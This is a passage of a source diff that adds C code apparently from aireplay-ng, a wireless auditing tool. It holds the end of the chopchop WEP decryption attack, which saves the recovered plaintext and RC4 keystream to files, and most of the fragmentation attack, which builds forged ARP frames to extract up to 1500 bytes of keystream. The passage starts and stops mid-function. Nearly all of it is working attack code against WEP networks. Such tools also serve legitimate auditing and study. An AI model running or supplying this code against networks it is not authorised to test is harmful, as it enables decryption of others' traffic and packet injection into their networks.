+					   "      Run aireplay-ng in authenticated mode instead "
+					   "(-h option).\n\n");
+			else
+				printf("    * The client MAC you have specified is not "
+					   "currently authenticated.\n"
+					   "      Try running another aireplay-ng to fake "
+					   "authentication (attack \"-1\").\n"
+					   "    * The AP isn't vulnerable when operating in "
+					   "authenticated mode.\n"
+					   "      Try aireplay-ng in non-authenticated mode "
+					   "instead (no -h option).\n\n");
+			free(chopped);
+			return (1);
+		}
+
+		/* wait for the next timer interrupt, or sleep */
+
+		if (dev.fd_rtc >= 0)
+		{
+			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
+
+			ticks[0]++; /* ticks since we entered the while loop     */
+			ticks[1]++; /* ticks since the last status line update   */
+			ticks[2]++; /* ticks since the last frame was sent       */
+			ticks[3]++; /* ticks since started chopping current byte */
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(976);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / 976;
+			ticks[1] += f / 976;
+			ticks[2] += f / 976;
+			ticks[3] += f / 976;
+		}
+
+		/* update the status line */
+
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rSent %3lu packets, current guess: %02X...",
+				   nb_pkt_sent,
+				   guess);
+			fflush(stdout);
+			erase_line(0);
+		}
+
+		if (data_end < 41
+			&& ticks[3] > 8 * (ticks[0] - ticks[3])
+							  / (int) (caplen - (data_end - 1)))
+		{
+		header_rec:
+
+			printf("\n\nThe AP appears to drop packets shorter "
+				   "than %d bytes.\n",
+				   data_end);
+
+			data_end = 40;
+
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			diff = z - 24;
+
+			if ((chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0]) == 0x06
+				&& (chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1])
+					   == 0x04
+				&& (chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2])
+					   == 0x00)
+			{
+				printf("Enabling standard workaround: "
+					   "ARP header re-creation.\n");
+
+				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; //-V525
+				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
+				chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
+				chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
+				chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
+				chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
+			}
+			else
+			{
+				printf("Enabling standard workaround: "
+					   " IP header re-creation.\n");
+
+				n = caplen - (z + 16);
+
+				chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA;
+				chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA;
+				chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
+				chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
+				chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
+				chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
+				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
+				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
+				chopped[24 + 14] = srcbuf[srcz + 14] ^ (n >> 8);
+				chopped[24 + 15] = srcbuf[srcz + 15] ^ (n & 0xFF);
+
+				memcpy(h80211, srcbuf, caplen);
+
+				for (i = z + 4; i < (int) caplen; i++)
+					h80211[i - 4] = h80211[i] ^ chopped[i - diff];
+
+				/* sometimes the header length or the tos field vary */
+
+				for (i = 0; i < 16; i++)
+				{
+					h80211[z + 8] = 0x40 + i;
+					chopped[24 + 12] = srcbuf[srcz + 12] ^ (0x40 + i);
+
+					for (j = 0; j < 256; j++)
+					{
+						h80211[z + 9] = j;
+						chopped[24 + 13] = srcbuf[srcz + 13] ^ j;
+
+						if (check_crc_buf(h80211 + z, caplen - z - 8))
+							goto have_crc_match;
+					}
+				}
+
+				printf("This doesn't look like an IP packet, "
+					   "try another one.\n");
+			}
+
+		have_crc_match:
+			break;
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* send one modified frame */
+
+			ticks[2] = 0;
+
+			memcpy(h80211, chopped, data_end - 1);
+
+			/* note: guess 256 is special, it tests if the  *
+			 * AP properly drops frames with an invalid ICV *
+			 * so this guess always has its bit 8 set to 0  */
+
+			if (is_deauth_mode)
+			{
+				opt.r_smac[1] |= (guess < 256);
+				opt.r_smac[5] = guess & 0xFF;
+			}
+			else
+			{
+				opt.r_dmac[1] |= (guess < 256);
+				opt.r_dmac[5] = guess & 0xFF;
+			}
+
+			memcpy(h80211 + 10, opt.r_smac, 6);
+			memcpy(h80211 + 16, opt.r_dmac, 6);
+
+			if (guess < 256)
+			{
+				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
+				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
+				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
+				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
+			}
+
+			errno = 0;
+
+			if (send_packet(
+					_wi_out, h80211, (size_t) data_end - 1, kRewriteDuration)
+				!= 0)
+			{
+				free(chopped);
+				return (1);
+			}
+
+			if (errno != EAGAIN)
+			{
+				guess++;
+
+				if (guess > 256) guess = 0;
+			}
+		}
+
+		/* watch for a response from the AP */
+
+		n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+		if (n < 0)
+		{
+			free(chopped);
+			return (1);
+		}
+
+		if (n == 0) continue;
+
+		nb_pkt_read++;
+
+		/* check if it's a deauth packet */
+
+		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
+		{
+			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0 && !is_deauth_mode)
+			{
+				nb_bad_pkt++;
+
+				if (nb_bad_pkt > 256)
+				{
+					printf("\rgot several deauthentication packets - pausing 3 "
+						   "seconds for reconnection\n");
+					sleep(3);
+					nb_bad_pkt = 0;
+				}
+
+				continue;
+			}
+
+			if (h80211[4] != opt.r_smac[0]) continue;
+			if (h80211[6] != opt.r_smac[2]) continue;
+			if (h80211[7] != opt.r_smac[3]) continue;
+			if (h80211[8] != opt.r_smac[4]) continue;
+
+			if ((h80211[5] & 0xFE) != (opt.r_smac[1] & 0xFE)) continue;
+
+			if (!(h80211[5] & 1))
+			{
+				if (data_end < 41) goto header_rec;
+
+				printf("\n\nFailure: the access point does not properly "
+					   "discard frames with an\ninvalid ICV - try running "
+					   "aireplay-ng in authenticated mode (-h) instead.\n\n");
+				free(chopped);
+				return (1);
+			}
+		}
+		else
+		{
+			if (is_deauth_mode) continue;
+
+			/* check if it's a WEP data packet */
+
+			if ((h80211[0] & 0x0C) != 8) continue;
+			if ((h80211[0] & 0x70) != 0) continue;
+			if ((h80211[1] & 0x03) != 2) continue;
+			if ((h80211[1] & 0x40) == 0) continue;
+
+			/* check the extended IV (TKIP) flag */
+
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			if ((h80211[z + 3] & 0x20) != 0) continue;
+
+			/* check the destination address */
+
+			if (h80211[4] != opt.r_dmac[0]) continue;
+			if (h80211[6] != opt.r_dmac[2]) continue;
+			if (h80211[7] != opt.r_dmac[3]) continue;
+			if (h80211[8] != opt.r_dmac[4]) continue;
+
+			if ((h80211[5] & 0xFE) != (opt.r_dmac[1] & 0xFE)) continue;
+
+			if (!(h80211[5] & 1))
+			{
+				if (data_end < 41) goto header_rec;
+
+				printf("\n\nFailure: the access point does not properly "
+					   "discard frames with an\ninvalid ICV - try running "
+					   "aireplay-ng in non-authenticated mode instead.\n\n");
+				free(chopped);
+				return (1);
+			}
+		}
+
+		/* we have a winner */
+
+		guess = h80211[9];
+
+		chopped[data_end - 1] ^= guess;
+		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+		n = caplen - data_start;
+
+		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
+			   "%4lu frames written in %5.0fms\n",
+			   data_end - 1,
+			   100 * (caplen - data_end) / n,
+			   chopped[data_end - 1],
+			   chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
+			   nb_pkt_sent,
+			   ticks[3]);
+
+		if (is_deauth_mode)
+		{
+			opt.r_smac[1] = rand_u8() & 0x3E;
+			opt.r_smac[2] = rand_u8();
+			opt.r_smac[3] = rand_u8();
+			opt.r_smac[4] = rand_u8();
+		}
+		else
+		{
+			opt.r_dmac[1] = rand_u8() & 0xFE;
+			opt.r_dmac[2] = rand_u8();
+			opt.r_dmac[3] = rand_u8();
+			opt.r_dmac[4] = rand_u8();
+		}
+
+		ticks[3] = 0;
+		nb_pkt_sent = 0;
+		nb_bad_pkt = 0;
+		guess = 256;
+
+		data_end--;
+
+		alarm(0);
+	}
+
+	/* reveal the plaintext (chopped contains the prga) */
+
+	memcpy(h80211, srcbuf, caplen);
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	diff = z - 24;
+
+	chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
+	chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
+	chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
+	chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
+	chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
+	chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
+
+	for (i = z + 4; i < (int) caplen; i++)
+		h80211[i - 4] = h80211[i] ^ chopped[i - diff];
+
+	if (!check_crc_buf(h80211 + z, caplen - z - 8))
+	{
+		if (!tried_header_rec)
+		{
+			printf("\nWarning: ICV checksum verification FAILED! Trying "
+				   "workaround.\n");
+			tried_header_rec = 1;
+			goto header_rec;
+		}
+		else
+		{
+			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
+				   "likely invalid/useless\nTry another one.\n");
+		}
+	}
+
+	caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
+
+	h80211[1] &= 0xBF; /* remove the WEP bit, too */
+
+	/* save the decrypted packet */
+
+	gettimeofday(&tv, NULL);
+
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	pkh.caplen = caplen;
+	pkh.len = caplen;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("\nSaving plaintext in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
+
+	n = sizeof(struct pcap_file_header);
+
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	n = sizeof(pkh);
+
+	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	n = pkh.caplen;
+
+	if (fwrite(h80211, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	fclose(f_cap_out);
+
+	/* save the RC4 stream (xor mask) */
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving keystream in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
+
+	n = pkh.caplen + 8 - 24;
+
+	if (fwrite(chopped + 24, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	free(chopped);
+	fclose(f_cap_out);
+
+	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
+		   (long) (time(NULL) - tt),
+		   (float) (pkh.caplen - 6 - 24) / (float) (time(NULL) - tt));
+
+	return (0);
+}
+
+static int make_arp_request(unsigned char * h80211,
+							unsigned char * bssid,
+							unsigned char * src_mac,
+							unsigned char * dst_mac,
+							unsigned char * src_ip,
+							unsigned char * dst_ip,
+							int size)
+{
+	unsigned char * arp_header
+		= (unsigned char *) "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00"
+							"\x06"
+							"\x04\x00\x01";
+	unsigned char * header80211 = (unsigned char *) "\x08\x41\x95\x00";
+
+	// 802.11 part
+	memcpy(h80211, header80211, 4);
+	memcpy(h80211 + 4, bssid, 6);
+	memcpy(h80211 + 10, src_mac, 6);
+	memcpy(h80211 + 16, dst_mac, 6);
+	h80211[22] = '\x00';
+	h80211[23] = '\x00';
+
+	// ARP part
+	memcpy(h80211 + 24, arp_header, 16);
+	memcpy(h80211 + 40, src_mac, 6);
+	memcpy(h80211 + 46, src_ip, 4);
+	memset(h80211 + 50, '\x00', 6);
+	memcpy(h80211 + 56, dst_ip, 4);
+
+	// Insert padding bytes
+	memset(h80211 + 60, '\x00', size - 60);
+
+	return 0;
+}
+
+static void save_prga(char * filename,
+					  unsigned char * iv,
+					  unsigned char * prga,
+					  int prgalen)
+{
+	FILE * xorfile;
+	size_t unused;
+	xorfile = fopen(filename, "wb");
+	if (xorfile)
+	{
+		if (fwrite(iv, 1, 4, xorfile) > 0)
+		{
+			unused = fwrite(prga, 1, prgalen, xorfile);
+		}
+		fclose(xorfile);
+	}
+}
+
+static int do_attack_fragment(void)
+{
+	unsigned char packet[4096];
+	unsigned char packet2[4096];
+	unsigned char prga[4096];
+	unsigned char iv[4];
+
+	//    unsigned char ack[14] = "\xd4";
+
+	char strbuf[256];
+
+	struct tm * lt;
+	struct timeval tv, tv2;
+
+	int done;
+	int caplen;
+	int caplen2;
+	int arplen;
+	int round;
+	int prga_len;
+	int isrelay;
+	int again;
+	int length;
+	int ret;
+	int gotit;
+	int acksgot;
+	int packets;
+	int z;
+
+	unsigned char * snap_header
+		= (unsigned char *) "\xAA\xAA\x03\x00\x00\x00\x08\x00";
+
+	done = caplen = caplen2 = arplen = round = 0;
+	prga_len = isrelay = gotit = again = length = 0;
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (1);
+	}
+
+	if (getnet(_wi_in,
+			   NULL,
+			   1,
+			   1,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
+	{
+		memset(opt.r_dmac, '\xFF', 6);
+		opt.r_dmac[5] = 0xED;
+	}
+
+	if (memcmp(opt.r_sip, NULL_MAC, 4) == 0)
+	{
+		memset(opt.r_sip, '\xFF', 4);
+	}
+
+	if (memcmp(opt.r_dip, NULL_MAC, 4) == 0)
+	{
+		memset(opt.r_dip, '\xFF', 4);
+	}
+
+	PCT;
+	printf("Waiting for a data packet...\n");
+
+	while (!done) //
+	{
+		round = 0;
+
+		if (capture_ask_packet(&caplen, 0) != 0) return -1;
+
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+		if ((h80211[0] & 0x80) == 0x80) /* QoS */
+			z += 2;
+
+		if ((unsigned) caplen > sizeof(packet)
+			|| (unsigned) caplen > sizeof(packet2))
+			continue;
+
+		memcpy(packet2, h80211, caplen);
+		caplen2 = caplen;
+		PCT;
+		printf("Data packet found!\n");
+
+		if (memcmp(packet2 + 4, SPANTREE, 6) == 0
+			|| memcmp(packet2 + 16, SPANTREE, 6) == 0)
+		{
+			packet2[z + 4]
+				= ((packet2[z + 4] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
+			packet2[z + 5]
+				= ((packet2[z + 5] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
+			packet2[z + 10]
+				= ((packet2[z + 10] ^ 0x00) ^ 0x08); // 0x00 instead of 0x08
+		}
+
+		prga_len = 7;
+
+		again = RETRY;
+
+		memcpy(packet, packet2, caplen2);
+		caplen = caplen2;
+		memcpy(prga, packet + z + 4, prga_len); //-V512
+		memcpy(iv, packet + z, 4);
+
+		xor_keystream(prga, snap_header, prga_len);
+
+		while (again == RETRY) // sending 7byte fragments
+		{
+			again = 0;
+
+			arplen = 60;
+			make_arp_request(h80211,
+							 opt.f_bssid,
+							 opt.r_smac,
+							 opt.r_dmac,
+							 opt.r_sip,
+							 opt.r_dip,
+							 arplen);
+
+			if ((round % 2) == 1)
+			{
+				PCT;
+				printf("Trying a LLC NULL packet\n");
+				memset(h80211 + 24, '\x00', 39);
+				arplen = 63;
+			}
+
+			acksgot = 0;
+			packets = (arplen - 24) / (prga_len - 4);
+			if ((arplen - 24) % (prga_len - 4) != 0) packets++;
+
+			PCT;
+			printf("Sending fragmented packet\n");
+			send_fragments(h80211, arplen, iv, prga, prga_len - 4, 0);
+			//            //Plus an ACK
+			//            send_packet(ack, 10);
+
+			gettimeofday(&tv, NULL);
+
+			while (!gotit) // waiting for relayed packet
+			{
+				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
+				z = ((packet[1] & 3) != 3) ? 24 : 30;
+				if ((packet[0] & 0x80) == 0x80) /* QoS */
+					z += 2;
+
+				if (packet[0] == 0xD4)
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+					{
+						acksgot++;
+					}
+					continue;
+				}
+
+				if ((packet[0] & 0x08)
+					&& ((packet[1] & 0x40)
+						== 0x40)) // Is data frame && encrypted
+				{
+					if ((packet[1] & 2)) // Is a FromDS packet
+					{
+						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
+						{
+							if (!memcmp(
+									opt.r_smac, packet + 16, 6)) // From our MAC
+							{
+								if (caplen - z < 66) // Is short enough
+								{
+									// This is our relayed packet!
+									PCT;
+									printf("Got RELAYED packet!!\n");
+									gotit = 1;
+									isrelay = 1;
+								}
+							}
+						}
+					}
+				}
+
+				/* check if we got an deauthentication packet */
+
+				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a deauthentication packet!\n");
+					read_sleep(
+						dev.fd_in,
+						5 * 1000000,
+						my_read_sleep_cb); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				/* check if we got an disassociation packet */
+
+				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a disassociation packet!\n");
+					read_sleep(
+						dev.fd_in,
+						5 * 1000000,
+						my_read_sleep_cb); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (100 * 1000)
+					&& acksgot > 0
+					&& acksgot < packets) // wait 100ms for acks
+				{
+					PCT;
+					printf("Not enough acks, repeating...\n");
+					again = RETRY;
+					break;
+				}
+
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (1500 * 1000)
+					&& !gotit) // wait 1500ms for an answer
+				{
+					PCT;
+					printf("No answer, repeating...\n");
+					round++;
+					again = RETRY;
+					if (round > 10)
+					{
+						PCT;
+						printf("Still nothing, trying another packet...\n");
+						again = NEW_IV;
+					}
+					break;
+				}
+			}
+		}
+
+		if (again == NEW_IV) continue;
+
+		make_arp_request(h80211,
+						 opt.f_bssid,
+						 opt.r_smac,
+						 opt.r_dmac,
+						 opt.r_sip,
+						 opt.r_dip,
+						 60);
+		if (caplen - z == 68 - 24)
+		{
+			// That's the ARP packet!
+			//             PCT; printf("That's our ARP packet!\n");
+		}
+		if (caplen - z == 71 - 24)
+		{
+			// That's the LLC NULL packet!
+			//             PCT; printf("That's our LLC Null packet!\n");
+			memset(h80211 + 24, '\x00', 39);
+		}
+
+		if (!isrelay)
+		{
+			// Building expected cleartext
+			unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01"
+									 "\x08\x00\x06\x04\x00\x02";
+			// Ethernet & ARP header
+
+			// Followed by the senders MAC and IP:
+			memcpy(ct + 16, packet + 16, 6);
+			memcpy(ct + 22, opt.r_dip, 4);
+
+			// And our own MAC and IP:
+			memcpy(ct + 26, opt.r_smac, 6);
+			memcpy(ct + 32, opt.r_sip, 4);
+
+			// Calculating
+			memcpy(prga, packet + z + 4, 36); //-V512
+			xor_keystream(prga, ct, 36);
+		}
+		else
+		{
+			memcpy(prga, packet + z + 4, 36); //-V512
+			xor_keystream(prga, h80211 + 24, 36);
+		}
+
+		memcpy(iv, packet + z, 4);
+		round = 0;
+		again = RETRY;
+		while (again == RETRY)
+		{
+			again = 0;
+
+			PCT;
+			printf("Trying to get 384 bytes of a keystream\n");
+
+			arplen = 408;
+
+			make_arp_request(h80211,
+							 opt.f_bssid,
+							 opt.r_smac,
+							 opt.r_dmac,
+							 opt.r_sip,
+							 opt.r_dip,
+							 arplen);
+			if ((round % 2) == 1)
+			{
+				PCT;
+				printf("Trying a LLC NULL packet\n");
+				memset(h80211 + 24, '\x00', arplen + 8);
+				arplen += 32;
+			}
+
+			acksgot = 0;
+			packets = (arplen - 24) / (32);
+			if ((arplen - 24) % (32) != 0) packets++;
+
+			send_fragments(h80211, arplen, iv, prga, 32, 0);
+			//            //Plus an ACK
+			//            send_packet(ack, 10);
+
+			gettimeofday(&tv, NULL);
+
+			gotit = 0;
+			while (!gotit) // waiting for relayed packet
+			{
+				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
+				z = ((packet[1] & 3) != 3) ? 24 : 30;
+				if ((packet[0] & 0x80) == 0x80) /* QoS */
+					z += 2;
+
+				if (packet[0] == 0xD4)
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+						acksgot++;
+					continue;
+				}
+
+				if ((packet[0] & 0x08)
+					&& ((packet[1] & 0x40)
+						== 0x40)) // Is data frame && encrypted
+				{
+					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
+					{
+						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
+						{
+							if (!memcmp(
+									opt.r_smac, packet + 16, 6)) // From our MAC
+							{
+								if (caplen - z > 400 - 24
+									&& caplen - z < 500 - 24) // Is short enough
+								{
+									// This is our relayed packet!
+									PCT;
+									printf("Got RELAYED packet!!\n");
+									gotit = 1;
+									isrelay = 1;
+								}
+							}
+						}
+					}
+				}
+
+				/* check if we got an deauthentication packet */
+
+				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a deauthentication packet!\n");
+					read_sleep(
+						dev.fd_in,
+						5 * 1000000,
+						my_read_sleep_cb); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				/* check if we got an disassociation packet */
+
+				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a disassociation packet!\n");
+					read_sleep(
+						dev.fd_in,
+						5 * 1000000,
+						my_read_sleep_cb); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (100 * 1000)
+					&& acksgot > 0
+					&& acksgot < packets) // wait 100ms for acks
+				{
+					PCT;
+					printf("Not enough acks, repeating...\n");
+					again = RETRY;
+					break;
+				}
+
+				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (1500 * 1000)
+					&& !gotit) // wait 1500ms for an answer
+				{
+					PCT;
+					printf("No answer, repeating...\n");
+					round++;
+					again = RETRY;
+					if (round > 10)
+					{
+						PCT;
+						printf("Still nothing, trying another packet...\n");
+						again = NEW_IV;
+					}
+					break;
+				}
+			}
+		}
+
+		if (again == NEW_IV) continue;
+
+		make_arp_request(h80211,
+						 opt.f_bssid,
+						 opt.r_smac,
+						 opt.r_dmac,
+						 opt.r_sip,
+						 opt.r_dip,
+						 408);
+		if (caplen - z == 416 - 24)
+		{
+			// That's the ARP packet!
+			//             PCT; printf("That's our ARP packet!\n");
+		}
+		if (caplen - z == 448 - 24)
+		{
+			// That's the LLC NULL packet!
+			//             PCT; printf("That's our LLC Null packet!\n");
+			memset(h80211 + 24, '\x00', 416);
+		}
+
+		memcpy(iv, packet + z, 4);
+		memcpy(prga, packet + z + 4, 384); //-V512
+		xor_keystream(prga, h80211 + 24, 384);
+
+		round = 0;
+		again = RETRY;
+		while (again == RETRY)
+		{
+			again = 0;
+
+			PCT;
+			printf("Trying to get 1500 bytes of a keystream\n");
+
+			make_arp_request(h80211,
+							 opt.f_bssid,
+							 opt.r_smac,
+							 opt.r_dmac,
+							 opt.r_sip,
+							 opt.r_dip,
+							 1500);
+			arplen = 1500;
+			if ((round % 2) == 1)
+			{
+				PCT;
+				printf("Trying a LLC NULL packet\n");
+				memset(h80211 + 24, '\x00', 1508);
+				arplen += 32;
+			}
+
+			acksgot = 0;
+			packets = (arplen - 24) / (300);
+			if ((arplen - 24) % (300) != 0) packets++;
+
+			send_fragments(h80211, arplen, iv, prga, 300, 0);
+			//            //Plus an ACK
+			//            send_packet(ack, 10);
+
+			gettimeofday(&tv, NULL);
+
+			gotit = 0;
+			while (!gotit) // waiting for relayed packet
+			{
+				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
+				z = ((packet[1] & 3) != 3) ? 24 : 30;
+				if ((packet[0] & 0x80) == 0x80) /* QoS */
+					z += 2;
+
+				if (packet[0] == 0xD4)
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+						acksgot++;
+					continue;
+				}
+
+				if ((packet[0] & 0x08)
+					&& ((packet[1] & 0x40)
+						== 0x40)) // Is data frame && encrypted
+				{
+					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
+					{
+						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
+						{
+							if (!memcmp(
+									opt.r_smac, packet + 16, 6)) // From our MAC
+							{
+								if (caplen - z > 1496 - 24) // Is short enough
+								{
+									// This is our relayed packet!
+									PCT;
+									printf("Got RELAYED packet!!\n");
+									gotit = 1;
+									isrelay = 1;
+								}
+							}
+						}
+					}
+				}
+
+				/* check if we got an deauthentication packet */
+
+				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a deauthentication packet!\n");
+					read_sleep(
+						dev.fd_in,
+						5 * 1000000,
+						my_read_sleep_cb); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				/* check if we got an disassociation packet */
+
+				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a disassociation packet!\n");
+					read_sleep(
+						dev.fd_in,
+						5 * 1000000,
+						my_read_sleep_cb); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (100 * 1000)
+					&& acksgot > 0
+					&& acksgot < packets) // wait 100ms for acks
+				{
+					PCT;
+					printf("Not enough acks, repeating...\n");
+					again = RETRY;
+					break;
+				}
+
+				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (1500 * 1000)
+					&& !gotit) // wait 1500ms for an answer
+				{
+					PCT;
+					printf("No answer, repeating...\n");
+					round++;
+					again = RETRY;
+					if (round > 10)
+					{
+						printf(
+							"Still nothing, quitting with 384 bytes? [y/n] \n");
+						fflush(stdout);
+						ret = 0;
+						while (!ret) ret = scanf("%1s", (char *) tmpbuf);
+
+						printf("\n");
+
+						if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y')
+							again = ABORT;
+						else
+							again = NEW_IV;
+					}
+					break;
+				}
+			}
+		}
+
+		if (again == NEW_IV) continue;
+
+		if (again == ABORT)
+			length = 408;
+		else
+			length = 1500;
+
+		make_arp_request(h80211,
+						 opt.f_bssid,
+						 opt.r_smac,
+						 opt.r_dmac,
